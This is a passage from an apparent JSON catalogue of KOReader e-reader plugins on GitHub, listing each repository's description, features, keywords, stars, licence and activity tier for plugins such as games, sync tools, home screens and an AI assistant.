/dev/input/eventN after the remote","The remote forgets its bond when it loses power. This is the cause of the","The link doesn't come back by itself. When the remote drops, BlueZ will","Bluetooth needs somewhere to write. The rootfs is ~282 MB and ships"],"keywords":["easily","turn","bluetooth","off","kobo","devices","basic","console","skills","required","page","turner","sage","lineage","different","here","tested","known","issues","digging","deeper","community","remote","device"],"topics":[],"stars":4,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-30T17:45:45Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":8199,"detail":"detail/Tharavol__bluetooth.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"thekimberleyann/cozyhome.koplugin","owner":"thekimberleyann","repo":"cozyhome.koplugin","url":"https://github.com/thekimberleyann/cozyhome.koplugin","description":"Custom KOReader plugin for Kobo e-readers. Cozy home screen, highlight browser, and flashcard review with spaced repetition similar to anki.","purpose":"A clean, customizable welcome screen that replaces KOReader's default file browser. Big tappable tiles, minimal clutter, and quick access to your books, highlights, flashcards, and study tools.","categories":["sync","ui","dict","web","files","notes"],"features":["Full-screen home screen with status bar (time + battery)","Continue Reading card — last book, author, progress, one-tap resume","3×2 grid of navigation tiles (customizable order and visibility)","Stats bar with reading activity summary","Books tile opens KOReader's native file browser","Browse highlights for the current book or all books on device","Filter by chapter, search across highlight text","Tap a highlight → jump to source location in the book","Create flashcards directly from highlights","Create named classes/topics (e.g. \"Spanish\", \"LeetCode\")"],"keywords":["custom","kobo","e-readers","cozy","home","screen","highlight","browser","flashcard","review","spaced","repetition","similar","anki","homepage","welcome","dashboard","highlights","learning","spaces","flashcards","hub","focus","mode"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-10T22:07:15Z","license":"MIT","default_branch":"production","has_meta":true,"readme_bytes":5461,"detail":"detail/thekimberleyann__cozyhome.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"TomasDiLeo/sumpuzzle.koplugin","owner":"TomasDiLeo","repo":"sumpuzzle.koplugin","url":"https://github.com/TomasDiLeo/sumpuzzle.koplugin","description":"A basic Sum Number grid puzzle for Kindle.","purpose":"A number puzzle game for KOReader where you select numbers from a grid to match target sums. Puzzle game inspired by the EasyBrain app Number Sums","categories":["games"],"features":["Each row's selected numbers sum to the target shown on the left edge","Each column's selected numbers sum to the target shown on the top edge","In Cages mode: numbers within each cage must also sum to the cage's target (shown in the cage's top-left corner)","Tap a cell to cycle through states","Unselected - number is visible but not counted","Selected (bordered) - number counts toward sums","Crossed out (white text) - number disappears for convenience, not counted","Check your progress: The status bar shows important information about the game","Use hints: Click \"Hint\" to reveal one correct cell (you have 3 hints per puzzle)","Submit: When you think all sums match their targets, tap \"Submit\" to check your solution"],"keywords":["basic","sum","number","grid","puzzle","kindle","game","modes","classic","mode","cages","rules","objective","play","states","requirements","steps","code","structure","thanks","numbers","shown","sums","target"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-03T00:20:31Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3105,"detail":"detail/TomasDiLeo__sumpuzzle.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tva2000hn/wlnreader.koplugin","owner":"tva2000hn","repo":"wlnreader.koplugin","url":"https://github.com/tva2000hn/wlnreader.koplugin","description":"KOReader plugin to download / read web and light novel","purpose":"WLN Reader is a bare-bones Web and Light novels searcher and downloader for KOReader.","categories":["web","library","files","content"],"features":["Search for releases from wlnupdates.com","Get links and query epubs to epub.press","Detect \"fake\" links (usually pages with wordpress) that require another link redirect","Maybe more detailed novel page"],"keywords":["koreader","light-novels","web-novels","epub","download","read","web","light","novel","library","longer","works","please","https","github","com","vapormusic","wnreader","wln","w-i-p","links","search","wlnupdates","query"],"topics":["koreader","light-novels","web-novels","epub"],"stars":4,"forks":2,"is_fork":false,"archived":true,"pushed_at":"2025-10-15T23:03:03Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":474,"detail":"detail/tva2000hn__wlnreader.koplugin.json","activity":"archived","tier":"C","tier_reasons":["has_meta","archived","archived","documented"]},{"id":"ura23/customtapzones.koplugin","owner":"ura23","repo":"customtapzones.koplugin","url":"https://github.com/ura23/customtapzones.koplugin","description":"This plugin allows users to configure custom tap zones for page turning. It provides the ability to replace the default tap zones with a user-defined grid, where each cell can be configured to perform a specific action.","purpose":"This plugin allows users to configure custom tap zones for page turning. It provides the ability to replace the default tap zones with a user-defined grid, where each cell can be configured to perform a specific action.","categories":["misc"],"features":["Customizable grid size: Users can change the number of columns and rows for the tap zone grid (from 2x2 up to 8x8)","Action assignment: Each cell in the grid can be assigned one of three actions","Page forward","Page backward","Ignore tap","Orientation support: The plugin maintains independent grid configurations for portrait and landscape reading modes","Layout copying: The configured grid layout can be quickly copied from portrait to landscape mode and vice versa","Visual editor: A built-in graphical editor allows users to configure the actions for each cell directly through the device…","Zone visualization: Includes an option to temporarily display the currently configured grid over the screen for verifying and…","State management: The plugin can be easily activated or deactivated via the settings menu"],"keywords":["allows","configure","custom","tap","zones","page","turning","provides","ability","replace","default","user-defined","grid","where","each","cell","configured","perform","specific","action","description","editor","layout","zone"],"topics":[],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-19T13:09:12Z","license":"Apache-2.0","default_branch":"main","has_meta":true,"readme_bytes":1792,"detail":"detail/ura23__customtapzones.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"W31N3R/IRCchat-KOReader","owner":"W31N3R","repo":"IRCchat-KOReader","url":"https://github.com/W31N3R/IRCchat-KOReader","description":"Reading, writing, and viewing message history of an IRC channel in KOReader","purpose":"","categories":["misc"],"features":[],"keywords":["koreader","koreader-plugin","koreader-plugins","reading","writing","viewing","message","history","irc","channel"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":4,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-02-21T23:26:17Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"5ecret99/grep.koplugin","owner":"5ecret99","repo":"grep.koplugin","url":"https://github.com/5ecret99/grep.koplugin","description":"","purpose":"This Lua module is a KOReader plugin designed for searching text within a large collection of `.epub` books. It provides an intuitive user interface for entering search terms, displaying results, and opening matched books directly in the reader. The module has been tested on PocketBook Verse and Linux platforms.","categories":["notes"],"features":["Dispatcher Integration: Registers a custom action (launch_organiser) to trigger the search functionality","Main Menu Integration: Adds a \"Grep Search\" option to the application's main menu","Search Input Dialog: Prompts the user to input a search term using a dialog box","Smart Case Sensitivity: Automatically determines case sensitivity based on the input query (case-insensitive for lowercase…","File Search: Uses find, grep, and unzip commands to search through .epub files in the selected directory","Search Results Display: Displays search results in a list, showing file names and paths","Document Opening: Allows users to open selected files directly in the reader UI and highlights the search term","The module has been tested with approximately 150 .epub books and performs well for medium-sized collections"],"keywords":["grep","search","module","performance","works","dependencies","notes","epub","file","files","term","books","commands","find","input","menu","results","unzip","dialog","directory","linux","main","selected","system"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-07-22T20:16:48Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2568,"detail":"detail/5ecret99__grep.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"acanoe/forcerefresh.koplugin","owner":"acanoe","repo":"forcerefresh.koplugin","url":"https://github.com/acanoe/forcerefresh.koplugin","description":"A KOReader plugin to force refresh page on page turn.","purpose":"A plugin to force E-ink refresh on each page turn. If combined with Full refresh rate of `Every page`, will refresh the page twice to really remove the ghosting. You can optionally turn on refresh when going to sleep for a cleaner sleep screen.","categories":["ui","reading"],"features":["move the whole forcerefresh.koplugin folder into the KOReader's plugin folder","open a book, you'll find the setting under Tools (wrench icon) > Force Page Refresh. You can select the refresh method too, i…","(Optional) to refresh the page twice on each page turn, open on Settings (gear icon) > Screen > E-ink settings > Full refresh…","profit"],"keywords":["force","refresh","page","turn","forcerefresh","e-ink","each","every","folder","full","icon","open","rate","screen","settings","sleep","twice","move","whole","book","find","setting","under","tools"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-10-25T12:23:34Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":766,"detail":"detail/acanoe__forcerefresh.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"AhzeLeSteak/komgasync.koplugin","owner":"AhzeLeSteak","repo":"komgasync.koplugin","url":"https://github.com/AhzeLeSteak/komgasync.koplugin","description":"Komga interface for Koreader","purpose":"","categories":["ui","library"],"features":[],"keywords":["komga","interface"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-01-29T15:15:24Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"Arias800/mangareader.koplugin","owner":"Arias800","repo":"mangareader.koplugin","url":"https://github.com/Arias800/mangareader.koplugin","description":"KOReader plugin to read manga","purpose":"Manga Reader is an extension for KOReader, designed to provide an efficient and seamless manga reading experience. It allows you to read manga directly from various legal online services, with no need for downloads. This extension is still a work in progress, and new features will be added over time.","categories":["content"],"features":["Stream Manga from Legal Services: Access a variety of manga from reputable, legal online platforms","No Downloads Required: Enjoy reading manga without having to download files, saving time and storage space","Lightweight: Optimized for speed and usability, ensuring smooth performance on KOReader","Work in Progress: Continuously evolving with new features and improvements","Make sure you have KOReader installed on your device","Add the extension to your KOReader plugins directory","Launch KOReader, and Manga Reader should now be available to use","Some services may be incomplete or missing specific functionalities","Expanded support for additional legal manga services"],"keywords":["read","manga","known","issues","upcoming","extension","legal","services","project","reading","download","downloads","improvements","online","please","progress","repository","time","work","stream","access","variety","reputable","platforms"],"topics":[],"stars":3,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-03-30T08:56:51Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":1609,"detail":"detail/Arias800__mangareader.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"Billiam/charactersheet.koplugin","owner":"Billiam","repo":"charactersheet.koplugin","url":"https://github.com/Billiam/charactersheet.koplugin","description":"","purpose":"Work in progress character sheet editor. Currently just building widgets for later.","categories":["misc"],"features":[],"keywords":["charater","sheet"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-02-16T18:44:27Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":118,"detail":"detail/Billiam__charactersheet.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"curiositry/readeck.koplugin","owner":"curiositry","repo":"readeck.koplugin","url":"https://github.com/curiositry/readeck.koplugin","description":"KoReader plugin for Readeck servers","purpose":"Readeck Plugin for KOReader is a plugin that allows you to synchronize articles from a Readeck server to your KOReader device. Readeck is a simple web application that lets you save the precious readable content of web pages you like and want to keep forever.","categories":["web","notes"],"features":["📊 Reading Progress: Track reading progress and handle articles accordingly","🏷️ Tag Support: Filter articles by tags and ignore articles with specific tags","🔍 Flexible Configuration: Easily configure all settings through a user-friendly interface","🗑️ Smart Deletion: Optionally delete or archive articles from the server when finished or read","📝 Annotation Sync: Send review comments as tags back to the Readeck server","Navigate to the KOReader plugins directory","A running Readeck server (learn more at readeck.org)","An API token or username/password to access the server","A download folder configured on your KOReader","Go to Main Menu > New: Readeck > Settings > Configure Readeck server"],"keywords":["readeck","servers","overview","configuration","initial","setup","instructions","downloading","articles","marking","finished","adding","notes","advanced","settings","article","deletion","options","tag","history","management","troubleshooting","credits","server"],"topics":[],"stars":3,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-02-05T00:08:42Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4740,"detail":"detail/curiositry__readeck.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"E5DR/anki.koplugin","owner":"E5DR","repo":"anki.koplugin","url":"https://github.com/E5DR/anki.koplugin","description":"KOReader plugin enabling Anki card generations for words looked up in the internal dictionary.","purpose":"KOReader plugin enabling Anki note generation for words looked up in the internal dictionary.\\ Fork of the original AJATT anki koreader plugin.","categories":["sync","dict","library","notes"],"features":["Intelligent handling of delimiters","You can carry out adjustments not only by whole sentences, but also by sentence parts (between commas)","Grayed out preview text allows peeking before / past current context to decide whether including more context might be useful","Holding the ±1 button allows jumping in larger steps (8 characters by default)","The sync reminder popup now shows the number of unsynced notes","Added a variety of settings to allow better customization depending on your workflow","Whether to also close the dictionary window after creating a card","Whether to always open the custom context window before creating a card","How large the default context should be (either current sentence or current sentence part)","Whether to swap tap / hold behaviour for the > buttons (adjust by sentence parts or whole sentences)"],"keywords":["enabling","anki","card","generations","words","looked","internal","dictionary","improvements","selected","word","field","sentence","context","definition","def","audio","metadata","meta","offline","extra","options","sync","notes"],"topics":[],"stars":3,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2023-11-16T19:09:17Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":9235,"detail":"detail/E5DR__anki.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"h-sigma/rfcreader.koplugin","owner":"h-sigma","repo":"rfcreader.koplugin","url":"https://github.com/h-sigma/rfcreader.koplugin","description":"","purpose":"A KoReader plugin to read RFCs using the rfc-editor website. The rfc-editor website provides easy access to view and download RFCs in various formats.","categories":["misc"],"features":["https://www.rfc-editor.org/rfc/pdfrfc/rfc4122.txt.pdf - PDF","https://www.rfc-editor.org/rfc/rfc4122.html - HTML","https://www.rfc-editor.org/rfc/rfc4122.txt - Text","Path to download the RFC files into","Preferred format of the RFC file (PDF/HTML/Text)"],"keywords":["pictorials","rfc-editor","download","html","https","rfc4122","file","format","open","path","preferred","rfcs","text","website","www","org","rfc","pdfrfc","txt","pdf","files"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-06-03T12:21:13Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":890,"detail":"detail/h-sigma__rfcreader.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"HoseanRC/kdeconnect.koplugin","owner":"HoseanRC","repo":"kdeconnect.koplugin","url":"https://github.com/HoseanRC/kdeconnect.koplugin","description":"","purpose":"KDE Connect is a simple app that's installed on any computer or phone you got in your home or office and it will connect everything to each other","categories":["library"],"features":["Move the kdeconnect.koplugin directory into the koreader/plugins/ directory on your device","Connect both your e-book and the device you want to connect (eg. your phone, your computer, your laptop) to the same network","Open KDE Connect on your device and refresh","Tap on your e-book shown in the app and press \"Request pairing\"","Press \"Pair\" on your e-book","Share a file between the devices","Get your phone notifications while you're reading","LUA: for almost everything","Discovery","Pairing"],"keywords":["kde","connect","exactly","but","e-book","about","calibre","works","device","other","each","everything","devices","ecosystem","sync","book","both","designed","file","pairing","phone","same","where","apple"],"topics":[],"stars":3,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-15T21:23:53Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3048,"detail":"detail/HoseanRC__kdeconnect.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Intedai/sendtodiscord.koplugin","owner":"Intedai","repo":"sendtodiscord.koplugin","url":"https://github.com/Intedai/sendtodiscord.koplugin","description":"Send highlighted text or your clipboard to Discord using webhooks!","purpose":"SendToDiscord lets you send highlighted text and text from your clipboard to Discord in beautiful embeds using webhooks.","categories":["files"],"features":["Create a webhook","Go to Tools -> More Tools -> SendToDiscord","Now go to Settings -> Webhook URL and enter your webhook url"],"keywords":["discord-webhook","discord-webhooks","koreader","koreader-plugin","koreader-plugins","lua","luajit","discord","koplugin","send","highlighted","text","clipboard","webhooks","sendtodiscord","setup","showcase","change","embed","color","suffix","prefix","space","encoding"],"topics":["discord-webhook","discord-webhooks","koreader","koreader-plugin","koreader-plugins","lua","luajit","discord","koplugin"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-29T20:53:11Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3812,"detail":"detail/Intedai__sendtodiscord.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jandamm/wpmstats.koplugin","owner":"jandamm","repo":"wpmstats.koplugin","url":"https://github.com/jandamm/wpmstats.koplugin","description":"KOReader plugin to show WPM statistics","purpose":"You can configure Calibre to add two custom rows: `#pages` and `#words`. (Count Pages plugin) The counts will be fetched from the metadata. Alternatively you can put it in the name: `filename abc P(10) W(100).pdf`","categories":["reading"],"features":["Enable the statistics plugin (builtin)","Run Refresh Pages and Word count"],"keywords":["koreader-plugin","show","wpm","statistics","prepare","books","epub","pdfs","setup","count","pages","automatically","fetched","filename","name","word","enable","builtin","run","refresh"],"topics":["koreader-plugin"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-21T17:28:20Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":624,"detail":"detail/jandamm__wpmstats.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jgarcia24n/readaloud.koplugin","owner":"jgarcia24n","repo":"readaloud.koplugin","url":"https://github.com/jgarcia24n/readaloud.koplugin","description":"A KOReader plugin that plays EPUB3 Media Overlay audio while highlighting the currently spoken text element in sync. Targets books produced by the Storyteller platform.","purpose":"A KOReader plugin that plays EPUB3 Media Overlay audio while highlighting the currently spoken text element in sync. Targets books produced by the Storyteller platform.","categories":["sync","ui"],"features":["Samsung Galaxy S25","Boox Go Color 7 Gen II"],"keywords":["plays","epub3","media","overlay","audio","while","highlighting","currently","spoken","text","element","sync","targets","books","produced","storyteller","platform","readaloud","heads","tested","built","samsung","galaxy","s25"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-10T19:26:22Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":767,"detail":"detail/jgarcia24n__readaloud.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"juandiegon/zotero.koplugin","owner":"juandiegon","repo":"zotero.koplugin","url":"https://github.com/juandiegon/zotero.koplugin","description":"Display Zotero collection on E-Readers with KOReader","purpose":"This addon for KOReader allows you to view your Zotero collections. This plugin adds a 'Zotero' item to the search menu ('Top Menu -> Search (magnifying glass) -> Zotero'). It keeps most of your Zotero library information on your device and apart from \"Synchronize\" tries to avoid interacting with the Zotero server.…","categories":["sync","library"],"features":["Synchronization via Zotero Web API","Open attached PDF/EPUB/HTML files","Sync annotations from Zotero to KOReader and the other way around (See limitations section)","Automatically download items of selected collections at sync time","Supports WebDAV storage backend","Search entries by the title of the publication or name of the first author","The plugin will sync annotations both ways. It supports deletions but changes (i.e., enlarging or modifying an annotation) are…","Syncing of annotations requires opening the file from Zotero browse, opening it from recents will not sync annotations.…","Annotations only work for pdf files, not epub or other formats","Search function currently quite limited, no real access to full author lists, DOIs, tags, etc"],"keywords":["display","zotero","collection","e-readers","limitations","guide","browse","synchronize","maintenance","settings","about","info","configuration","webdav","manual","misc","annotations","items","item","file","sync","attachments","files","server"],"topics":[],"stars":3,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2025-10-26T22:39:12Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":6899,"detail":"detail/juandiegon__zotero.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kbarni/checkers.koplugin","owner":"kbarni","repo":"checkers.koplugin","url":"https://github.com/kbarni/checkers.koplugin","description":"Checkers game for Koreader","purpose":"English draughts (checkers) plugin for KOReader. Play human vs human or against a built-in AI opponent. The plugin will appear under Tools → Checkers in the KOReader menu.","categories":["ui","games"],"features":["Standard English draughts rules — forced captures, multi-jump, king promotion, 40-move draw rule","AI opponent — alpha-beta search with four difficulty levels (Easy / Medium / Hard / Expert)","Flexible modes — each side (Black, White) can independently be Human or AI","Undo — steps back over the AI's reply so you always return to your own turn","Persistent settings — mode and difficulty are remembered between sessions","Tap a piece to select it — valid destination squares are shown as dots","Tap a destination to move. If a capture is available, it is forced (the dots only show legal moves)","When a multi-jump is possible after a capture, the piece stays selected and you must continue jumping","Black moves first (down the board), White moves up","Pieces move diagonally forward one square"],"keywords":["checkers","game","starting","playing","toolbar","buttons","difficulty","levels","rules","summary","english","draughts","acknowledgements","captures","moves","settings","capture","human","move","forced","general","multi-jump","open","over"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-05T05:18:41Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3755,"detail":"detail/kbarni__checkers.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Kerwin75631591/assistant_zh.koplugin","owner":"Kerwin75631591","repo":"assistant_zh.koplugin","url":"https://github.com/Kerwin75631591/assistant_zh.koplugin","description":"KOReader AI 助手中文适配版：提示词全中文，联网搜索走 DeepSeek 原生服务端搜索，内置中文分词语境分析。Chinese-localized AI assistant for KOReader: Chinese prompts, DeepSeek native web search.","purpose":"基于 assistant.koplugin 的中文适配分支，主要面向中文用户： 把插件目录内的 `configuration.sample.lua` 复制一份，改名为 `configuration.lua`，然后编辑它： 默认提供商是 `responses_deepseek`（DeepSeek Responses API，支持原生联网搜索），在 `configuration.lua` 中找到并填入你的 Key：","categories":["web","ai"],"features":["提示词全中文：所有内置提示词（翻译、摘要、词典、X-Ray、Recap、书籍信息等）均已汉化，回复语言跟随 KOReader 界面语言（或「AI 回复语言」设置）。","联网搜索走 DeepSeek：使用 DeepSeek 官方 Responses API 的服务端原生联网搜索（web_search 工具），不需要 SerpAPI / Tavily / SearXNG / Exa 等任何第三方搜索 API 密钥。","中文语境分析：为词典 / Term X-Ray 的 LexRank 算法新增了中文语言模块（bigram 分词、中文停用词、全角句读「。！？；」分句），分析中文书效果更好。","插件已改名：目录名与元数据均为 assistant_zh，可与原版并存，互不干扰（菜单设置键、设置文件均已隔离）。","下载发行版 zip：assistant_zh.koplugin-v1.14.zip","解压后把 assistant_zh.koplugin 文件夹放入 KOReader 的 plugins/ 目录（与 KOReader 程序文件同级；若同时装有原版 assistant.koplugin，两者互不影响）","重启 KOReader","dist/assistant_zh.koplugin-v1.14.zip 为正式发行包，已排除本地配置文件 configuration.lua（其中可能包含真实 API Key），仅保留占位符 configuration.sample.lua。","收到 zip 的用户需按上文「配置」自行创建 configuration.lua 并填入自己的 Key。","OTA 更新已指向本仓库（Kerwin75631591/assistant_zh.koplugin）的最新 Release：插件启动时会检查 release tag（如 v1.14-zh）并与本地版本比较，有新版本时通过 GitHub…"],"keywords":["ai-assistant","chinese-localization","deepseek","e-reader","koplugin","koreader","llm","reading","chinese-localized","assistant","chinese","prompts","native","web","search","api","key","configuration","responses","koplugin-v1","lexrank","recap","sample","serpapi"],"topics":["ai-assistant","chinese-localization","deepseek","e-reader","koplugin","koreader","llm","reading"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T17:42:30Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4880,"detail":"detail/Kerwin75631591__assistant_zh.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"KikyTokamuro/weighttracker.koplugin","owner":"KikyTokamuro","repo":"weighttracker.koplugin","url":"https://github.com/KikyTokamuro/weighttracker.koplugin","description":"Tiny KOReader plugin for tracking weight measurements","purpose":"Tiny KOReader plugin for tracking weight measurements","categories":["reading"],"features":["Adding measurements - Entering weight with the ability to select the measurement date","Viewing statistics - Basic information about weight dynamics","First and last measurement","Weight change for the entire period","Total number of measurements","Viewing all measurements - A complete list of records showing the last 20 measurements","Clearing data - Deleting all records"],"keywords":["koreader","koreader-plugin","tracker","tiny","tracking","weight","measurements","weighttracker","functions","last","measurement","records","viewing","adding","entering","ability","select","date","statistics","basic","information","about","dynamics","first"],"topics":["koreader","koreader-plugin","tracker"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-09-06T18:39:09Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":712,"detail":"detail/KikyTokamuro__weighttracker.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"maerlin/OPDSfoldersync.koplugin","owner":"maerlin","repo":"OPDSfoldersync.koplugin","url":"https://github.com/maerlin/OPDSfoldersync.koplugin","description":"This Koreader plugin extends OPDS functionality with per-catalog synchronization folders and automated filtering to keep content downloaded from various sources organized and up-to-date.","purpose":"An enhanced OPDS plugin for KOReader with per-catalog download folders, catalog sync, filtering, search/facet browsing, and safer batch downloads.","categories":["sync","library","files","notes"],"features":["Browse OPDS/Atom catalogs from KOReader's file manager Network → OPDS catalog menu","Add, edit, and delete catalogs","Configure catalog URL, optional username/password, and whether to use server-provided filenames","Browse sub-catalogs and add a sub-catalog as a saved root catalog","Use OPDS/OpenSearch or Calibre-style catalog search when exposed by the server","Use OPDS facets/filters when exposed by the server","Load paginated feeds incrementally, or use Load all entries to fetch all remaining pages","Persistently sort a catalog A→Z or Z→A","Choose a manual download folder","Rename files before downloading"],"keywords":["extends","opds","functionality","per-catalog","synchronization","folders","automated","filtering","keep","content","downloaded","various","sources","organized","up-to-date","folder","sync","does","catalog","browsing","downloads","auto-sync","include","exclude"],"topics":[],"stars":3,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-06-16T20:02:49Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":7091,"detail":"detail/maerlin__OPDSfoldersync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"maerlin/screenmargins.koplugin","owner":"maerlin","repo":"screenmargins.koplugin","url":"https://github.com/maerlin/screenmargins.koplugin","description":"A KOReader plugin to edit the viewport in an attempt to 'fix' some devices with the screen misaligned under the bezels.","purpose":"A KOReader plugin to configure screen margins for devices where part of the screen is physically covered by a bezel (e.g., the bottom edge sits behind a plastic frame).","categories":["ui"],"features":["Configure margins per edge: top, bottom, left, right","Live preview — a black frame overlay shows exactly where margins will be cut before you commit","Settings persist across restarts","Malformed saved settings are validated and reset instead of crashing KOReader","Touch input coordinates are adjusted with a single mutable hook, avoiding duplicate translations","Rotation-aware: margin settings survive orientation changes without being invalidated","Kindle/Kobo/Android: /koreader/plugins/","Linux: ~/.config/koreader/plugins/","Windows: %APPDATA%/koreader/plugins/","macOS: ~/Library/Application Support/koreader/plugins/"],"keywords":["edit","viewport","attempt","fix","some","devices","screen","misaligned","under","bezels","margins","example","menu","items","works","troubleshooting","changelog","margin","screenmargins","bottom","size","configure","settings","edge"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-13T14:51:39Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":3927,"detail":"detail/maerlin__screenmargins.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"matthewashton-k/pixelart.koplugin","owner":"matthewashton-k","repo":"pixelart.koplugin","url":"https://github.com/matthewashton-k/pixelart.koplugin","description":"Wanted to try and get this working on my kindle because it looks cool.","purpose":"A WIP pixel art editor plugin for KOReader! I've only tested this on my personal reader so it please create an issue if something doesn't work.","categories":["misc"],"features":["Change image size","Change grid size","New image","Save image","Open image","Pencil","Eraser","Picker","Rectangle","Circle"],"keywords":["wanted","try","working","kindle","because","looks","cool","pixelart","where","find","tools","fill","image","size","brush","change","colors","directions","folder","grid","issue","menu","screen","section"],"topics":[],"stars":3,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2025-03-17T22:47:58Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1819,"detail":"detail/matthewashton-k__pixelart.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"mgrimace/startrakuyomi.koplugin","owner":"mgrimace","repo":"startrakuyomi.koplugin","url":"https://github.com/mgrimace/startrakuyomi.koplugin","description":"A companion plugin that adds Rakuyomi to KOReader's native Start With menu","purpose":"A small companion plugin for Rakuyomi that gives you the option to automatically open Rakuyomi's manga library view when KOReader starts.","categories":["ui","content"],"features":["KOReader","Rakuyomi installed and working"],"keywords":["companion","koreader","koreader-plugin","manga","plugin","adds","rakuyomi","native","start","menu","startrakuyomi","requirements","library","open","view","installed","working"],"topics":["companion","koreader","koreader-plugin","manga","plugin"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-09T17:51:08Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":772,"detail":"detail/mgrimace__startrakuyomi.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/send2notion.koplugin","owner":"omer-faruq","repo":"send2notion.koplugin","url":"https://github.com/omer-faruq/send2notion.koplugin","description":"Send quick notes and highlights from KOReader to a Notion page.","purpose":"Send quick notes and book highlights from KOReader directly to a page in your Notion workspace. The plugin adds two entry points:","categories":["sync","ui","files","notes"],"features":["a single Send note to Notion item under the *Tools* menu, which","an optional Send to Notion button inside the highlight popup, so","Open in a browser and log in","Click + New integration","Pick a name (e.g. *KOReader notes*), choose the workspace, and make","After creating it, open the integration's *Configuration* tab and","In Notion, create (or pick) the page that should collect the notes","Open that page, click Share in the upper-right corner, then","Start typing the name of your integration, select it, and confirm","On the reader, open Tools → Send note to Notion *once*. 